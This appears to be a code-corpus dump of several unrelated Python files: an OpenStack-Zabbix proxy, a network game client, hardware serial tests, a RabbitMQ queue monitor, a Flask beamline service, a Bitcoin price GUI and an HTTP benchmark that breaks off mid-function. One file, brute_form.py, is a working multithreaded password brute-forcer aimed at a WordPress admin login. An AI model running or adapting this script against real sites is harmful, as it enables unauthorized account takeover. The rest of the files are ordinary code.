source
stringlengths 3
86
| python
stringlengths 75
1.04M
|
|---|---|
proxy.py
|
# Copyright 2017 EasyStack, Inc
# Authors: Claudio Marques,
# David Palma,
# Luis Cordeiro,
# Branty <jun.wang@easystack.cn>
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
"""
Proxy for integration of resources between OpenStack's Ceilometer and Zabbix
This proxy periodically checks for changes in Ceilometer's resources reporting
them to Zabbix. It is also integrated
OpenStack's Nova and RabbitMQ for reflecting changes in
Projects/Tenants and Instances
"""
import logging
import multiprocessing
from zcp.common import log
from zcp.common import conf
from zcp.task.polling.base_handler import HandlerAdapter
from zcp.task import nova_handler
from zcp.task import keystone_handler
from zcp.keystone_client import Client
from zcp.nova_client import Client as nova_Client
from zcp import messaging
from zcp import zabbix_handler
log.init_log()
LOG = logging.getLogger(__name__)
conf_file = conf.Conf()
def init_zcp(processes):
"""
Method used to initialize the Zabbix-Ceilometer Proxy
"""
# Creation of the Auth keystone-dedicated authentication class
# Responsible for managing domain and project related requests
ks_client = Client(conf_file)
nv_client = nova_Client(conf_file)
# Creation of the Zabbix Handler class
# Responsible for the communication with Zabbix
zabbix_hdl = zabbix_handler.ZabbixHandler(conf_file.read_option(
'zabbix_configs',
'zabbix_admin_user'),
conf_file.read_option(
'zabbix_configs',
'zabbix_admin_pass'),
conf_file.read_option(
'zabbix_configs',
'zabbix_host'),
conf_file.read_option(
'zabbix_configs',
'zabbix_port'),
conf_file.read_option(
'zcp_configs',
'template_name'),
ks_client,
nv_client)
# Creation of the Polling Handler class
# Responsible for the communication with OpenStack's Ceilometer or Mongo,
# polling for changes every N seconds
polling_hdl = HandlerAdapter.get_handler(conf_file, ks_client,
nv_client, zabbix_hdl)
# First run of the Zabbix handler for retrieving the necessary information
zabbix_hdl.first_run()
# Creation of the Nova Handler class
# Responsible for detecting the creation of new instances in OpenStack,
# translated then to Hosts in Zabbix
nova_hdl = nova_handler.NovaEvents(zabbix_hdl, messaging.MQConnection())
# Creation of the Project Handler class
# Responsible for detecting the creation of new tenants in OpenStack,
# translated then to HostGroups in Zabbix
keystone_hdl = keystone_handler.KeystoneEvents(zabbix_hdl,
messaging.MQConnection(),
ks_client)
# Create and append processes to process list
LOG.info('**************** Keystone listener started ****************')
p1 = multiprocessing.Process(target=keystone_hdl.keystone_amq)
p1.daemon = True
processes.append(p1)
LOG.info('**************** Nova listener started ****************')
p2 = multiprocessing.Process(target=nova_hdl.nova_amq)
p2.daemon = True
processes.append(p2)
p3 = multiprocessing.Process(target=polling_hdl.interval_run)
p3.daemon = True
processes.append(p3)
# start all the processes
[ps.start() for ps in processes]
def main():
processes = []
LOG.info("-------------- Starting Zabbix Ceilometer Proxy --------------")
init_zcp(processes)
# wait for all processes to complete
[ps.join() for ps in processes]
LOG.info("************* Runnig Zabbix Ceilometer Proxy ****************")
print "ZCP terminated"
LOG.info('************* Terninate Zabbix Ceilometer Proxy ***************')
|
Client.py
|
import socket
import struct
import threading
from colorama import Fore, Style
from datetime import datetime
import getch
from scapy.arch import get_if_addr
class Client:
MAGIC_COOKIE = 0xfeedbeef
TYPE = 0x2
UDP_PORT = 13117
def __init__(self, team_name1, port1, timeout1):
self.port = port1
self.timeout = timeout1
self.team_name = team_name1
self.create_client()
self.success_connection = False
# create a connection
def create_connection(self):
while True:
# connecting toserver via udp protocol
print(Style.RESET_ALL + "Client started, listening for offer requests...")
socket_connection_udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
socket_connection_udp.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
socket_connection_udp.settimeout(self.timeout) # 10 seconds
socket_connection_udp.bind(('', self.UDP_PORT))
try:
data, address = socket_connection_udp.recvfrom(1024)
server_ip=address[0]
server_port=data[2]
server_ip = "localhost"
# server_port = 8081
print(Style.RESET_ALL + 'Received offer from {} {}, attempting to connect...'.format(server_ip,
server_port))
# check if we the message is valid
if server_ip == 'localhost' and self.check_valid_message(data):
# sending to socket answer via tcp protocol
self.socket_connection_tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket_connection_tcp.connect((server_ip, server_port))
self.socket_connection_tcp.send(bytes(self.team_name + '\n', 'utf-8'))
self.success_connection = True
break
else:
print(Fore.RED + "Server is not working correctly, try again")
except:
raise ConnectionRefusedError(Fore.RED + "There is no server connection")
# check if the message is valid
def check_valid_message(self, data):
valid_message = True
data_structed = struct.unpack('IbH', data)
if data_structed[0] != self.MAGIC_COOKIE or data_structed[1] != self.TYPE or len(data_structed) != 3:
valid_message = False
return valid_message
# gets from the user keyboard input
def play(self):
# counter 10 seconds+ send to server the chars
# while self.success_connection:
self.time_now = datetime.now()
while (datetime.now() - self.time_now).seconds <= self.timeout:
key = getch.getch()
self.socket_connection_tcp.send(bytes(str(key), 'utf-8'))
self.success_connection=False
# check if we can start game-if server connected and we are not in "Game Over"
def start_game(self):
while True:
try:
message_from_server = self.socket_connection_tcp.recv(1024).decode('utf-8')
print(message_from_server)
if message_from_server == "Game over, sending out offer requests...":
print(Fore.RED + "Server disconnected, listening for offer requests...")
else:
connection_tcp = threading.Thread(target=self.play())
connection_tcp.start()
message_from_server = self.socket_connection_tcp.recv(1024).decode('utf-8')
print(message_from_server)
if message_from_server == "Game over, sending out offer requests...":
print(Fore.RED + "Server disconnected, listening for offer requests...")
break
connection_tcp.join()
except:
raise ConnectionRefusedError(Fore.CYAN + "There is no server connection")
# close connection
def close_connection(self):
try:
self.socket_connection_tcp.shutdown(socket.SHUT_RDWR)
self.socket_connection_tcp.close()
except:
print(Fore.YELLOW + "Server is still running")
# create a client + connect to server
# start playing the game
# close connection
def create_client(self):
try:
self.create_connection()
self.start_game()
self.close_connection()
except:
print(Fore.RED + "There is no server connection")
if __name__ == '__main__':
port = 101
timeout = 10
team_name = "Simba"
Client(team_name, port, timeout)
|
cfuc_examples.py
|
from time import sleep
import ucan_cfuc
from can import Message
import threading
c = ucan_cfuc.CFUC("COM50")
m = Message(0,0x11223344,True,False,False,None,5,bytearray(b'\x01\x02\x03\x04\x05'),False,False,False,None,False)
c.send(m,None)
def rx_function(caninterface):
retry = 0
while retry < 60:
caninterface._recv_internal(0)
retry = retry + 1
x = threading.Thread(target=rx_function, args=(c,))
x.start()
x.join()
c.shutdown()
|
ZermeloSim.py
|
from ZermeloSim.ZermeloAgent import Agent
from ZermeloSim.ZermeloEnvironment import Env
from threading import Thread
from queue import Queue
import multiprocessing
def _run_agent(agent, env):
# Initialise the success flag for the agent
success = False
# Initialise the distance cost
d = 0
# Initialise the energy cost
e = 0
# Initialise the time cost
t = 0
# Loop until success
while not success:
# Get the state of the agent within the environment
inputs = env.get()
# Get the control velocity
w = agent.step(inputs.T)
# Get the updated environment
success, distance, energy, time = env.update(w.T)
# Increment the distance cost
d = d + distance
# Increment the energy cost
e = e + energy
# Increment the time cost
t = t + time
return d, e, t
class Simulator:
def __init__(self, n, num_workers=4):
# The population size
self._n = n
# The number of workers
if num_workers > n:
self._num_workers = n
else:
self._num_workers = num_workers
# Initialize the environments
self.envs = [Env() for _ in range(n)]
# Initialize the agents
self.agents = [Agent() for _ in range(n)]
# Initialize the simulations
self.simulations = Queue()
# Initialize the results
self.results = Queue()
def _worker(self):
while True:
# Get a job
job = self.simulations.get()
# End worker if the job is None
if job is None:
self.simulations.task_done()
break
# Decompose job into id, agent and env objects
idx, agent, env = job
print("Simulation {}... processing.".format(idx))
# Run a simulation on the agent and environment, get costs
d, e, t = _run_agent(agent, env)
# Bundle results with idx and place in results queue
self.results.put((idx, d, e, t))
print("Simulation {}... done.".format(idx))
# Flag the task as done for the simulations queue
self.simulations.task_done()
def reset(self):
for env in self.envs:
env.reset()
def run_sim(self):
# Initialise the workers
threads = []
for i in range(self._num_workers):
t = Thread(target=self._worker)
t.start()
threads.append(t)
# Each simulation is a tuple containing: (id, agent, environment)
for sim in zip(list(range(self._n)), self.agents, self.envs):
self.simulations.put(sim)
# Block until all simulations in queue are processed
self.simulations.join()
# Close the workers
for _ in range(self._num_workers):
self.simulations.put(None)
# Block until all simulations in queue are processed
self.simulations.join()
for t in threads:
t.join()
# Results queue should be populated, unpack.
results = []
for _ in range(self._n):
results.append(self.results.get())
results.sort()
return results
def worker(jobs, results):
# Initialise the agent
agent = Agent()
# Initialise the environment
env = Env()
# Begin the loop
while True:
# Wait for a job to come in
j = jobs.get()
# If the job is None then finish the process
if j is None:
break
# Unpack the job
idx, weights = j
print("Simulation {}... processing.".format(idx))
# If the weights are a list, then update the agent weights
if isinstance(weights, list):
agent.model.set_weights(weights)
# Run the simulation
costs = _run_agent(agent, env)
# Pack the results and send
weights = agent.model.get_weights()
results.put((idx, weights) + costs)
# reset the environment
env.reset()
# Notify the job queue that the simulation is done
print("Simulation {}... done.".format(idx))
jobs.task_done()
# Notify the job queue that the exit command is done
jobs.task_done()
def chunks(lst, n):
"""Yield successive n-sized chunks from lst."""
for i in range(0, len(lst), n):
yield lst[i:i + n]
|
uturn_test.py
|
import serial
import time
import math
import threading # for test, main ์ฝ๋์์๋ ๋ฉํฐ ํ๋ก์ธ์ฑ ์ฌ์ฉํ๋ ๊ฒ ๋ชฉํ์ผ.
# CONSTANTS for _read(), related with encoder
DISTANCE_PER_ROTATION = 54.02 * math.pi # Distance per Rotation [cm]
PULSE_PER_ROTATION = 100. # Pulse per Rotation
DISTANCE_PER_PULSE = DISTANCE_PER_ROTATION / PULSE_PER_ROTATION # Distance per Pulse
class PlatformSerial:
def __init__(self, platform_port):
self.platform = platform_port # e.g. /dev/ttyUSB0 on GNU/Linux or COM3 on Windows.
# ํฌํธ ์คํ, 115200 ์ฌ์ฉ. OS ๋ด์์ ์๋ฆฌ์ผ ํฌํธ๋ ๋ง์ถฐ์ค ๊ฒ
try:
self.ser = serial.Serial(self.platform, 115200) # Baud rate such as 9600 or 115200 etc.
except Exception as e:
print(e)
self.reading_data = bytearray([0 for i in range(14)])
# ์ฐ๊ธฐ ๋ฐ์ดํฐ ์
self.writing_data = bytearray.fromhex("5354580000000000000001000D0A")
self.speed_for_write = 0
self.steer_for_write = 0
self.brake_for_write = 0
self.check = 0
self.present_time = 0
self.past_time = 0
self.ct1 = 0
self.ct2 = 0
self.ct3 = 0
self.ct4 = 0
self.usit = 1
self.ENC1 = 0
self.steer_platform = 0
self.speed_platform = 0
self.e1 = 0
self.e2 = 0
self.f = open("record_test.txt", 'w')
def _read(self): # read data from platform
reading_data = bytearray(self.ser.readline()) # byte array ๋ก ์ฝ์ด์ด
self.reading_data = reading_data
try:
# data parsing, ํจํท ์ค๋ช
์ ์ฑ
์ ์ฐธ์กฐ
ETX1 = reading_data[17]
AorM = reading_data[3]
ESTOP = reading_data[4]
GEAR = reading_data[5]
SPEED = reading_data[6] + reading_data[7] * 256
STEER = reading_data[8] + reading_data[9] * 256
# STEER ๋ฒ์ ์กฐ์
if STEER >= 32768: # 65536 / 2 = 32768
STEER = 65536 - STEER
else:
STEER = -STEER
BRAKE = reading_data[10]
time_encoder = time.time()
# ENC0, ENC1, ENC2, ENC3
ENC = reading_data[11] + reading_data[12] * 256 + reading_data[13] * 65536 + reading_data[14] * 16777216
if ENC >= 2147483648:
ENC = ENC - 4294967296
ALIVE = reading_data[15]
try:
speed_from_encoder = (ENC - self.ENC1[0]) * DISTANCE_PER_PULSE / (time_encoder - self.ENC1[1]) * 0.036
except Exception as e:
print(e)
pass
self.ENC1 = (ENC, time_encoder)
self.speed_platform = SPEED
self.steer_platform = STEER
except:
pass
def _write(self, speed_for_write=0, steer_for_write=0, brake_for_write=0): # write data to platform
dummy_data = bytearray([0 for i in range(14)])
if not speed_for_write == 0:
self.speed_for_write = speed_for_write
if not steer_for_write == 0:
self.steer_for_write = steer_for_write
if not brake_for_write == 0:
self.brake_for_write = brake_for_write
try:
self.steer_for_write = int(self.steer_for_write * 1.015)
if self.steer_for_write < 0:
self.steer_for_write = self.steer_for_write + 65536
# speed ์
๋ ฅ
dummy_data[6] = 0
dummy_data[7] = self.speed_for_write
# steer ์
๋ ฅ, 16์ง๋ฒ ๋ ์นธ ์ ์ก
dummy_data[8] = int(self.steer_for_write / 256)
dummy_data[9] = self.steer_for_write % 256
self.writing_data[3] = 1 # AorM
self.writing_data[4] = 0 # E stop
self.writing_data[5] = 0 # GEAR
# ์์ ๋ฐ์ดํฐ๋ฅผ ์ต์ข
๋ฐ์ดํฐ์ ์
๋ ฅ
self.writing_data[6] = dummy_data[6]
self.writing_data[7] = dummy_data[7]
self.writing_data[8] = dummy_data[8]
self.writing_data[9] = dummy_data[9]
self.writing_data[10] = self.brake_for_write
# ๋ฐ์ ๋ฐ์ดํฐ์ ๋๊ฐ์ด ์ ์ก, ํ๋ซํผ ์์ฒด์ ์ผ๋ก ๋ฐ์ดํฐ ์์ ๊ฐ๊ฒฉ์ ์๊ธฐ ์ํจ
self.writing_data[11] = self.reading_data[15]
self.writing_data[12] = self.reading_data[16]
self.writing_data[13] = self.reading_data[17]
self.ser.write(bytearray(self.writing_data))
except Exception as e:
print(e)
print(' auto error')
self.ser.write(bytearray(self.writing_data))
pass
def get_data_real_time(self):
# _read() ๋ฅผ ์ด์ฉํด ํ๋ซํผ ๋ฐ์ดํฐ๋ฅผ ์ค์๊ฐ์ผ๋ก ์ฝ์
try:
while True:
self._read()
except KeyboardInterrupt: # ctrl+C ๋๋ฅด๋ฉด ํ์ถ - ์ ๋๋๋ฐ?
pass
self.ser.close()
def test_write_to_platform(self):
print(self.steer_platform)
self.steer_for_write = -1970
def test_communication_main(self):
read_thread = threading.Thread(target=self._read())
write_thread = threading.Thread(target=self._write())
test_write_thread = threading.Thread(target=self.test_write_to_platform())
read_thread.start()
write_thread.start()
test_write_thread.start()
if __name__ == '__main__':
port = 'COM7'
# e.g. /dev/ttyUSB0 on GNU/Linux or COM3 on Windows.
platform = PlatformSerial(port)
print('CONNECTED')
while True:
platform.test_communication_main()
|
check_rabbitmq.py
|
#!/usr/bin/env python3
""" RabbitMQ Error Shovel Service
Given a particular RabbitMQ instance and extractor name, this will check the error queue of that extractor for messages.
- If the dataset or file in the message exists, send the message back to the main queue.
- If it does not exist, generate a log entry and delete the message from the error queue permanently.
If the CLOWDER_HOST and CLOWDER_KEY environment variables are set, they will be used to check the existence of
files and datasets instead of the host and key found in the RabbitMQ message.
"""
import os
import logging
import json
import threading
import requests
import pika
# Simplified version of pyClowder's RabbitMQConnector class.
class RabbitMQMonitor():
def __init__(self, rabbitmq_uri, extractor_name, clowder_host, clowder_key):
self.connection = None
self.channel = None
self.rabbitmq_uri = rabbitmq_uri
self.queue_basic = extractor_name
self.queue_error = "error."+extractor_name
self.clowder_host = clowder_host
self.clowder_key = clowder_key
self.worker = None
self.finished = False
self.lock = threading.Lock()
self.messages = []
def connect(self):
parameters = pika.URLParameters(self.rabbitmq_uri)
self.connection = pika.BlockingConnection(parameters)
self.channel = self.connection.channel()
def listen(self):
if not self.channel:
self.connect()
self.listener = self.channel.basic_consume(queue=self.queue_error,
on_message_callback=self.on_message,
auto_ack=False)
logging.getLogger(__name__).info("Starting to listen for error messages on %s" % self.queue_error)
try:
# pylint: disable=protected-access
while self.channel and self.channel.is_open and self.channel._consumer_infos:
self.channel.connection.process_data_events(time_limit=1) # 1 second
if self.worker:
self.process_messages(self.channel)
if self.is_finished():
self.worker = None
except SystemExit:
raise
except KeyboardInterrupt:
raise
except GeneratorExit:
raise
except Exception: # pylint: disable=broad-except
logging.getLogger(__name__).exception("Error while consuming error messages.")
finally:
logging.getLogger(__name__).info("Stopped listening for error messages.")
if self.channel and self.channel.is_open:
try:
self.channel.close()
except Exception:
logging.getLogger(__name__).exception("Error while closing channel.")
self.channel = None
if self.connection and self.connection.is_open:
try:
self.connection.close()
except Exception:
logging.getLogger(__name__).exception("Error while closing connection.")
self.connection = None
@staticmethod
def _decode_body(body, codecs=None):
if not codecs:
codecs = ['utf8', 'iso-8859-1']
# see https://stackoverflow.com/a/15918519
for i in codecs:
try:
return body.decode(i)
except UnicodeDecodeError:
pass
raise ValueError("Cannot decode body")
def on_message(self, channel, method, header, body):
"""When the message is received this will check the message target.
Any message will only be acked if the message is processed,
or there is an exception (except for SystemExit and SystemError exceptions).
"""
try:
json_body = json.loads(self._decode_body(body))
if 'routing_key' not in json_body and method.routing_key:
json_body['routing_key'] = method.routing_key
json_body["header"] = header
json_body["method"] = method
self.worker = threading.Thread(target=self.evaluate_message, args=(json_body,))
self.worker.start()
except ValueError:
# something went wrong, move message to error queue and give up on this message immediately
logging.getLogger(__name__).exception("Error processing message.")
# TODO: What to do here?
properties = pika.BasicProperties(delivery_mode=2, reply_to=header.reply_to)
channel.basic_publish(exchange='',
routing_key='error.' + self.extractor_name,
properties=properties,
body=body)
channel.basic_ack(method.delivery_tag)
def process_messages(self, channel):
while self.messages:
with self.lock:
msg = self.messages.pop(0)
method = msg["body"]["method"]
header = msg["body"]["header"]
del msg["body"]["method"]
del msg["body"]["header"]
if msg["type"] == 'missing':
logging.getLogger(__name__).info("%s [%s] removed." % (msg["resource_type"], msg["resource_id"]))
channel.basic_ack(method.delivery_tag)
with self.lock:
self.finished = True
elif msg["type"] == 'resubmit':
properties = pika.BasicProperties(delivery_mode=2, reply_to=header.reply_to)
# Reset retry count to 0
# TODO: If resource exists but retry count > some N, should we stop bouncing it back to main queue?
msg["body"]["retry_count"] = 0
logging.getLogger(__name__).info("%s [%s] resubmitted." % (msg["resource_type"], msg["resource_id"]))
channel.basic_publish(exchange='',
routing_key=self.queue_basic,
properties=properties,
body=json.dumps(msg["body"]))
channel.basic_ack(method.delivery_tag)
with self.lock:
self.finished = True
else:
logging.getLogger(__name__).error("Received unknown message type [%s]." % msg["type"])
def evaluate_message(self, body):
host = body.get('host', '')
if host == '':
return
elif not host.endswith('/'):
host += '/'
key = body.get("secretKey", '')
fileid = body.get('id', '')
datasetid = body.get('datasetId', '')
# determine resource type; defaults to file
resource_type = "file"
message_type = body['routing_key']
if message_type.find(".dataset.") > -1:
resource_type = "dataset"
elif message_type.find(".file.") > -1:
resource_type = "file"
elif message_type.find("metadata.added") > -1:
resource_type = "metadata"
elif message_type == "extractors." + self.queue_basic:
# This was a manually submitted extraction
if datasetid == fileid:
resource_type = "dataset"
else:
resource_type = "file"
if resource_type == "dataset":
resource_id = datasetid
else:
resource_id = fileid
r = self.check_existence(host, key, resource_type, resource_id)
resubmit = False
if r.status_code == 200:
# The erroneous resource exists, so resubmit to main queue
logging.getLogger(__name__).error("%s [%s]: Resubmitting." % (resource_type, resource_id))
resubmit = True
elif r.status_code == 401:
# Unauthorized to view resource, but it exists so resubmit (extractor might use other creds)
logging.getLogger(__name__).error("%s [%s]: Credentials not authorized. Resubmitting." % (resource_type, resource_id))
resubmit = True
else:
logging.getLogger(__name__).error("%s [%s]: %s. Removing." % (resource_type, resource_id, r))
self.messages.append({
"type": "missing",
"resource_type": resource_type,
"resource_id": resource_id,
"body": body
})
if resubmit:
self.messages.append({
"type": "resubmit",
"resource_type": resource_type,
"resource_id": resource_id,
"body": body
})
# Return response of request for the resource from Clowder
def check_existence(self, host, key, resource_type, resource_id):
# Perform replacements from environment variables if needed
host_url = self.clowder_host if self.clowder_host != '' else host
if not host_url.endswith('/'): host_url += '/'
secret_key = self.clowder_key if self.clowder_key != '' else key
# TODO: Is there a better exists URL to use?
clowder_url = "%sapi/%ss/%s/metadata?key=%s" % (host_url, resource_type, resource_id, secret_key)
r = requests.get(clowder_url)
return r
def is_finished(self):
with self.lock:
return self.worker and not self.worker.isAlive() and self.finished and len(self.messages) == 0
if __name__ == "__main__":
logging.basicConfig(format='%(asctime)-15s [%(threadName)-15s] %(levelname)-7s :'
' %(name)s - %(message)s',
level=logging.INFO)
logging.getLogger('requests.packages.urllib3.connectionpool').setLevel(logging.WARN)
rabbitmq_uri = os.getenv('RABBITMQ_URI', 'amqp://guest:guest@localhost:5672/%2f')
extractor_name = os.getenv('EXTRACTOR_QUEUE', 'ncsa.image.preview')
clowder_host = os.getenv('CLOWDER_HOST', '')
clowder_key = os.getenv('CLOWDER_KEY', '')
monitor = RabbitMQMonitor(rabbitmq_uri, extractor_name, clowder_host, clowder_key)
monitor.listen()
|
main.py
|
import os
import sys
sys.path.append(os.path.join(os.path.dirname(__file__), "..", ".."))
from dataclasses import dataclass
from flask import Flask, request
from flask_restful import Resource, Api
import logging
import threading
from json import JSONDecodeError
from queue import Queue
from typing import Optional
from bluesky import RunEngine
from typing import Tuple
from enum import Enum
from src.artemis.parameters import FullParameters
from src.artemis.fast_grid_scan_plan import get_plan
from dataclasses_json import dataclass_json
import atexit
logger = logging.getLogger(__name__)
class Actions(Enum):
START = "start"
STOP = "stop"
SHUTDOWN = "shutdown"
class Status(Enum):
FAILED = "Failed"
SUCCESS = "Success"
BUSY = "Busy"
ABORTING = "Aborting"
IDLE = "Idle"
@dataclass
class Command:
action: Actions
parameters: Optional[FullParameters] = None
@dataclass_json
@dataclass
class StatusAndMessage:
status: str
message: str = ""
def __init__(self, status: Status, message: str = "") -> None:
self.status = status.value
self.message = message
class BlueskyRunner:
command_queue: "Queue[Command]" = Queue()
current_status: StatusAndMessage = StatusAndMessage(Status.IDLE)
last_run_aborted: bool = False
def __init__(self, RE: RunEngine) -> None:
self.RE = RE
def start(self, parameters: FullParameters) -> StatusAndMessage:
logger.info(f"Started with parameters: {parameters}")
if (
self.current_status.status == Status.BUSY.value
or self.current_status.status == Status.ABORTING.value
):
return StatusAndMessage(Status.FAILED, "Bluesky already running")
else:
self.current_status = StatusAndMessage(Status.BUSY)
self.command_queue.put(Command(Actions.START, parameters))
return StatusAndMessage(Status.SUCCESS)
def stopping_thread(self):
try:
self.RE.abort()
self.current_status = StatusAndMessage(Status.IDLE)
except Exception as e:
self.current_status = StatusAndMessage(Status.FAILED, str(e))
def stop(self) -> StatusAndMessage:
if self.current_status.status == Status.IDLE.value:
return StatusAndMessage(Status.FAILED, "Bluesky not running")
elif self.current_status.status == Status.ABORTING.value:
return StatusAndMessage(Status.FAILED, "Bluesky already stopping")
else:
self.current_status = StatusAndMessage(Status.ABORTING)
stopping_thread = threading.Thread(target=self.stopping_thread)
stopping_thread.start()
self.last_run_aborted = True
return StatusAndMessage(Status.ABORTING)
def shutdown(self):
"""Stops the run engine and the loop waiting for messages."""
print("Shutting down: Stopping the run engine gracefully")
self.stop()
self.command_queue.put(Command(Actions.SHUTDOWN))
def wait_on_queue(self):
while True:
command = self.command_queue.get()
if command.action == Actions.START:
try:
self.RE(get_plan(command.parameters))
self.current_status = StatusAndMessage(Status.IDLE)
self.last_run_aborted = False
except Exception as exception:
if self.last_run_aborted:
# Aborting will cause an exception here that we want to swallow
self.last_run_aborted = False
else:
self.current_status = StatusAndMessage(
Status.FAILED, str(exception)
)
elif command.action == Actions.SHUTDOWN:
return
class FastGridScan(Resource):
def __init__(self, runner: BlueskyRunner) -> None:
super().__init__()
self.runner = runner
def put(self, action):
status_and_message = StatusAndMessage(Status.FAILED, f"{action} not understood")
if action == Actions.START.value:
try:
parameters = FullParameters.from_json(request.data)
status_and_message = self.runner.start(parameters)
except JSONDecodeError as exception:
status_and_message = StatusAndMessage(Status.FAILED, str(exception))
elif action == Actions.STOP.value:
status_and_message = self.runner.stop()
return status_and_message.to_dict()
def get(self, action):
return self.runner.current_status.to_dict()
def create_app(
test_config=None, RE: RunEngine = RunEngine({})
) -> Tuple[Flask, BlueskyRunner]:
runner = BlueskyRunner(RE)
app = Flask(__name__)
if test_config:
app.config.update(test_config)
api = Api(app)
api.add_resource(
FastGridScan, "/fast_grid_scan/<string:action>", resource_class_args=[runner]
)
return app, runner
if __name__ == "__main__":
app, runner = create_app()
atexit.register(runner.shutdown)
flask_thread = threading.Thread(
target=lambda: app.run(host="0.0.0.0", debug=True, use_reloader=False),
daemon=True,
)
flask_thread.start()
runner.wait_on_queue()
flask_thread.join()
|
main.py
|
from tkinter import *
import tkinter.messagebox
import threading
import requests
from datetime import datetime
import json
import threading
# add some new features
class Bitcoin():
def __init__(self,root):
self.root=root
self.root.title("Bitcoin price - Opening & Closing")
self.root.geometry("500x350")
self.root.configure(background="white")
self.root.resizable(0,0)
def on_enter1(e):
but_bitcoin['background']="black"
but_bitcoin['foreground']="red"
but_bitcoin['activebackground']="black"
but_bitcoin['activeforeground']="red"
but_bitcoin['relief']="flat"
def on_leave1(e):
but_bitcoin['background']="SystemButtonFace"
but_bitcoin['foreground']="SystemButtonText"
but_bitcoin['activebackground']="SystemButtonFace"
but_bitcoin['activeforeground']="SystemButtonText"
but_bitcoin['relief']="flat"
def on_enter2(e):
but_clear['background']="black"
but_clear['foreground']="red"
but_clear['activebackground']="black"
but_clear['activeforeground']="red"
but_clear['relief']="flat"
def on_leave2(e):
but_clear['background']="SystemButtonFace"
but_clear['foreground']="SystemButtonText"
but_clear['activebackground']="SystemButtonFace"
but_clear['activeforeground']="SystemButtonText"
but_clear['relief']="flat"
def bitcoins():
try:
clear()
response=requests.get('https://www.bitstamp.net/api/ticker/bitcoin')
json_response=json.loads(response.text)
open_rate=json_response['open']
highest_rate=round(float(json_response['high']),2)
lowest_rate=round(float(json_response['low']),2)
latest_rate=json_response['last']
updated_at=datetime.fromtimestamp(int(json_response['timestamp']))
updated_at=updated_at.strftime('%Y-%m-%d %H:%M:%S')
volume=json_response['volume']
volume=round(float(volume),2)
volume=str(volume)
volume=volume+" BTC"
volume=volume.replace(".",",")
volume=volume.replace("BTC"," BTC")
info=f"""
Opening Rate of Bitcoin: {str(open_rate)}
Highest Rate of Bitcoin : {str(highest_rate)}
lowest Rate of Bitcoin :{str(lowest_rate)}
Latest Rate of Bitcoin :{str(latest_rate)}
Updated Rate of Bitcoin :{str(updated_at)}
Volume of Bitcoin :{str(volume)}
"""
text.insert("end",info)
except Exception as e:
print(e)
tkinter.messagebox.showerror("Error","Network Error")
def thread_score():
t=threading.Thread(target=bitcoins)
t.start()
def clear():
text.delete("1.0","end")
mainframe=Frame(self.root,width=500,height=350,relief="ridge",bd=3)
mainframe.place(x=0,y=0)
firstframe=Frame(mainframe,width=494,height=100,relief="ridge",bd=3,bg="yellow")
firstframe.place(x=0,y=0)
secondframe=Frame(mainframe,width=494,height=243,relief="ridge",bd=3)
secondframe.place(x=0,y=100)
but_bitcoin=Button(firstframe,width=13,text="BTC",font=('consolas',12),cursor="hand2",command=thread_score)
but_bitcoin.place(x=60,y=28)
but_bitcoin.bind("<Enter>",on_enter1)
but_bitcoin.bind("<Leave>",on_leave1)
but_clear=Button(firstframe,width=13,text="CLEAR CONSOLE",font=('times new roman',12),cursor="hand2",command=clear)
but_clear.place(x=290,y=28)
but_clear.bind("<Enter>",on_enter2)
but_clear.bind("<Leave>",on_leave2)
scol=Scrollbar(secondframe,orient="vertical")
scol.place(relx=1, rely=0, relheight=1, anchor='ne')
text=Text(secondframe,height=12,width=58,font=('consolas',12),yscrollcommand=scol.set,relief="sunken",bd=3,fg="black")
text.place(x=0,y=0)
scol.config(command=text.yview)
if __name__ == "__main__":
root=Tk()
app=Bitcoin(root)
root.mainloop()
|
brute_form.py
|
#!/usr/bin/python
#coding=utf-8
import urllib
import urllib2
import cookielib
import threading
import sys
import Queue
from HTMLParser import HTMLParser
from dir_bruster import build_wordlist
thread_count = 10
target_url = 'http://192.168.99.196/wordpress/wp-login.php'
target_post = 'http://192.168.99.196/wordpress/wp-login.php'
username = 'admin'
wordlist = './pwd.txt'
username_field = 'log'
password_field = 'pwd'
class Bruter(object):
def __init__(self, username, wordlist):
self.username = username
self.password_list = wordlist
self.found = False
print('Finished setting up for:%s' % username)
def run_bruteforce(self):
for i in range(thread_count):
t = threading.Thread(target=self.web_brute)
t.start()
def web_brute(self):
while not self.password_list.empty() and not self.found:
brute = self.password_list.get().rstrip()
jar = cookielib.FileCookieJar('cookies')
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))
res = opener.open(target_url)
page = res.read()
print('Trying: %s:%s (%d left)' % (self.username, brute, self.password_list.qsize()))
parser = BruteParser()
parser.feed(page)
post_tags = parser.tag_results
post_tags[username_field] = self.username
post_tags[password_field] = brute
login_data = urllib.urlencode(post_tags)
print(login_data)
login_res = opener.open(target_post, login_data)
login_result = login_res.read()
if 'ๅฏ็ ไธๆญฃ็กฎ' not in login_result:
self.found = True
print('[*] Brute successful by %s:%s' % (self.username, brute))
class BruteParser(HTMLParser):
def __init__(self):
HTMLParser.__init__(self)
self.tag_results = {}
def handle_starttag(self, tag, attrs):
if tag == 'input':
tag_name = None
tag_value = None
for name, value in attrs:
if name == 'name':
tag_name = value
if name == 'value':
tag_value = value
if tag_name is not None:
self.tag_results[tag_name] = value
pwd_q = build_wordlist(wordlist)
brute_obj = Bruter(username, pwd_q)
brute_obj.run_bruteforce()
|
httpclient-threading.py
|
#!/usr/bin/env python3
import http
import threading
import time
import http.client
def print_report(total_count, total_time_ms):
print("Total time for {} requests = {} ms.".format(
total_count, total_time_ms))
print("Avg time per request = {} ms.\n".format(
total_time_ms / total_count))
print("-----------------------------------------\n")
def thread_func_put_api():
conn = http.client.HTTPConnection("localhost")
conn.request("PUT", "/hello", "Hello World!")
response = conn.getresponse()
assert response.status == 200
return
# Test case 1: Runs each request in sequence.
def test_case_seq_reqs(total_count):
print("\nSequential Requests:\nParams: total_count {}".format(total_count))
start_time = time.perf_counter()
for i in range(total_count):
thread_func_put_api()
end_time = time.perf_counter()
total_time_ms = int(round((end_time - start_time) * 1000))
